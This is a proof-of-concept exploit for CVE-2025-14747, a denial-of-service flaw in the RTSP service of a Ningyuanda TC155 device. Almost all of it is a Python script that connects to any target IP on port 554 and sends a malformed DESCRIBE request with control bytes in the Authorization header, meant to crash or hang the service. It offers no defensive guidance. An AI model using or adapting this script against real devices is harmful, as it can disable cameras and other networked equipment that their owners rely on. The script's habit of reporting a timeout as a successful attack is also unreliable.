CVE-2025-14747: 宁宇达TC155 RTSP服务拒绝服务漏洞

#!/usr/bin/env python3 # CVE-2025-14747 PoC - Ningyuanda TC155 RTSP Service DoS # Target: RTSP Service on Ningyuanda TC155 device # Attack Type: Denial of Service via malformed RTSP Describe request import socket import sys def send_malformed_rtsp_request(target_ip, rtsp_port=554): """ Send a malformed RTSP Describe request to trigger DoS condition """ # Crafted malformed RTSP Describe request with invalid headers # This causes service crash or hang on vulnerable devices malformed_request = ( "DESCRIBE rtsp://{}:{}/ RTSP/1.0\r\n" "CSeq: 1\r\n" "User-Agent: PoC-Exploit\r\n" "Accept: application/sdp\r\n" "Authorization: Invalid\x00\x01\x02\r\n" "\r\n" ).format(target_ip, rtsp_port) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, rtsp_port)) print(f"[*] Connected to {target_ip}:{rtsp_port}") print(f"[*] Sending malformed RTSP Describe request...") sock.send(malformed_request.encode('utf-8')) response = sock.recv(4096) print(f"[*] Received response: {response.decode('utf-8', errors='ignore')}") sock.close() print("[+] Malformed request sent successfully") return True except socket.timeout: print("[!] Connection timeout - service may be unresponsive (DoS successful)") return True except ConnectionRefusedError: print("[!] Connection refused - target may be down") return False except Exception as e: print(f"[!] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-14747-poc.py <target_ip> [port]") print("Example: python3 cve-2025-14747-poc.py 192.168.1.100 554") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 554 print(f"[*] CVE-2025-14747 PoC - Ningyuanda TC155 RTSP DoS") print(f"[*] Target: {target}:{port}") send_malformed_rtsp_request(target, port)